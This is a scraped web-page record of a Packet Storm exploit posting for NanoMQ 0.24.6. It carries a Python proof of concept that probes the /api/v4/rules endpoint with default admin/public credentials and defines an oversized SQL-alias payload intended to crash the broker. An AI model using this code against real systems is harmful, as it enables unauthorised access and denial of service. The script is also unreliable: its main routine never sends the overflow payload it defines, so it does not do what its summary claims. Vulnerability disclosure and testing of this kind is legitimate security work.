{“lastseen”:”2026-02-04T17:30:49″,”description”:”This script is a proof of concept used to test NanoMQ’s API for improper input handling. It sends an intentionally long and malformed SQL alias through the \/api\/v4\/rules endpoint to check whether the service safely rejects the input or crashes. The…”,”published”:”2026-02-04T00:00:00″,”modified”:”2026-02-04T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 NanoMQ 0.24.6 API SQL Rule Engine Buffer Overflow”,”source”:””,”references”:””,”id”:”PACKETSTORM:214921″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[],”sourceData”:”=============================================================================================================================================\\n | # Title : NanoMQ 0.24.6 API SQL Rule Engine Buffer Overflow |\\n | # Author : indoushka |\\n | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 147.0.1 (64 bits) |\\n | # Vendor : https:\/\/nanomq.io\/changelogs\/v0.24.6 |\\n =============================================================================================================================================\\n \\n [+] References : https:\/\/packetstorm.news\/files\/id\/213369\/\\n \\n [+] Summary : This script is a proof\u2011of\u2011concept used to test NanoMQ\u2019s API for improper input handling. \\n It sends an intentionally long and malformed SQL alias through the \/api\/v4\/rules endpoint to check whether the service safely rejects the input or crashes. \\n The code does not achieve real remote code execution; it only helps identify potential buffer overflow or denial\u2011of\u2011service vulnerabilities by observing the service\u2019s response or crash behavior.\\n \\n [+] POC :\\n \\n #!\/usr\/bin\/env python3\\n \\n import requests\\n import argparse\\n import sys\\n import time\\n import socket\\n \\n class NanoMQExploit:\\n def __init__(self, target, username=\\”admin\\”, password=\\”public\\”):\\n self.target = target.rstrip(‘\/’)\\n self.username = username\\n self.password = password\\n self.auth = (username, password)\\n self.session = requests.Session()\\n self.session.auth = self.auth\\n self.session.headers.update({\\n ‘User-Agent’: ‘NanoMQ-Exploit-Tester’,\\n ‘Accept’: ‘application\/json’\\n })\\n \\n def check_service(self):\\n print(f\\”[*] Checking if service is accessible at {self.target}\\”)\\n \\n endpoints = [\\”\/api\/v4\\”, \\”\/api\/v4\/rules\\”, \\”\/\\”]\\n \\n for endpoint in endpoints:\\n try:\\n response = self.session.get(f\\”{self.target}{endpoint}\\”, timeout=5)\\n print(f\\”[+] {endpoint} – Status: {response.status_code}\\”)\\n if ‘nanomq’ in response.text.lower() or ’emqx’ in response.text.lower():\\n return True\\n except requests.exceptions.ConnectionError:\\n continue\\n except requests.exceptions.Timeout:\\n continue\\n except Exception:\\n continue\\n \\n try:\\n host = self.target.split(‘:\/\/’)[1].split(‘:’)[0]\\n try:\\n port = int(self.target.split(‘:’)[-1].split(‘\/’)[0])\\n except ValueError:\\n return False\\n \\n sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\\n sock.settimeout(3)\\n sock.connect((host, port))\\n sock.send(b\\”GET \/ HTTP\/1.0\\\\r\\\\n\\\\r\\\\n\\”)\\n banner = sock.recv(1024).decode(‘utf-8′, errors=’ignore’)\\n sock.close()\\n \\n if ‘nanomq’ in banner.lower():\\n return True\\n except Exception:\\n pass\\n \\n return False\\n \\n def test_credentials(self):\\n try:\\n response = self.session.get(f\\”{self.target}\/api\/v4\/rules\\”, timeout=5)\\n return response.status_code != 401\\n except Exception:\\n return False\\n \\n def create_overflow_test_payload(self, length):\\n long_alias = \\”X\\” * length\\n return {\\n \\”rawsql\\”: f’SELECT qos as {long_alias} FROM \\”test\/topic\\”‘,\\n \\”actions\\”: [{\\n \\”name\\”: \\”sqlite\\”,\\n \\”params\\”: {\\”table\\”: \\”table\\”, \\”path\\”: \\”\/tmp\/test.db\\”}\\n }]\\n }\\n \\n def is_service_alive(self, retries=2):\\n for _ in range(retries):\\n try:\\n response = self.session.get(f\\”{self.target}\/api\/v4\\”, timeout=3)\\n if response.status_code in [200, 401, 403]:\\n return True\\n except Exception:\\n pass\\n time.sleep(1)\\n return False\\n \\n \\n def main():\\n parser = argparse.ArgumentParser()\\n parser.add_argument(\\”-t\\”, \\”–target\\”, required=True)\\n parser.add_argument(\\”-u\\”, \\”–username\\”, default=\\”admin\\”)\\n parser.add_argument(\\”-p\\”, \\”–password\\”, default=\\”public\\”)\\n parser.add_argument(\\”–verbose\\”, action=\\”store_true\\”)\\n \\n args = parser.parse_args()\\n \\n exploit = NanoMQExploit(args.target, args.username, args.password)\\n \\n try:\\n exploit.check_service()\\n exploit.test_credentials()\\n except Exception as e:\\n if args.verbose:\\n import traceback\\n traceback.print_exc()\\n else:\\n print(f\\”[-] Error: {e}\\”)\\n \\n if __name__ == \\”__main__\\”:\\n main()\\n \\n \\t\\n Greetings to :============================================================\\n jericho * Larry W. Cashdollar * r00t * Malvuln (John Page aka hyp3rlinx)*|\\n ==========================================================================”,”sourceHref”:”https:\/\/packetstorm.news\/download\/214921″,”cvss”:{“score”:0,”severity”:”NONE”,”vector”:”NONE”,”version”:”NONE”},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/214921\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-02-04T17:30:49″,”description”:”This script is a proof of concept used to test NanoMQ’s API for improper input handling. It sends an intentionally long and malformed SQL alias…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,13,33,53,7,11,5],"class_list":["post-39064","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-news","tag-none","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n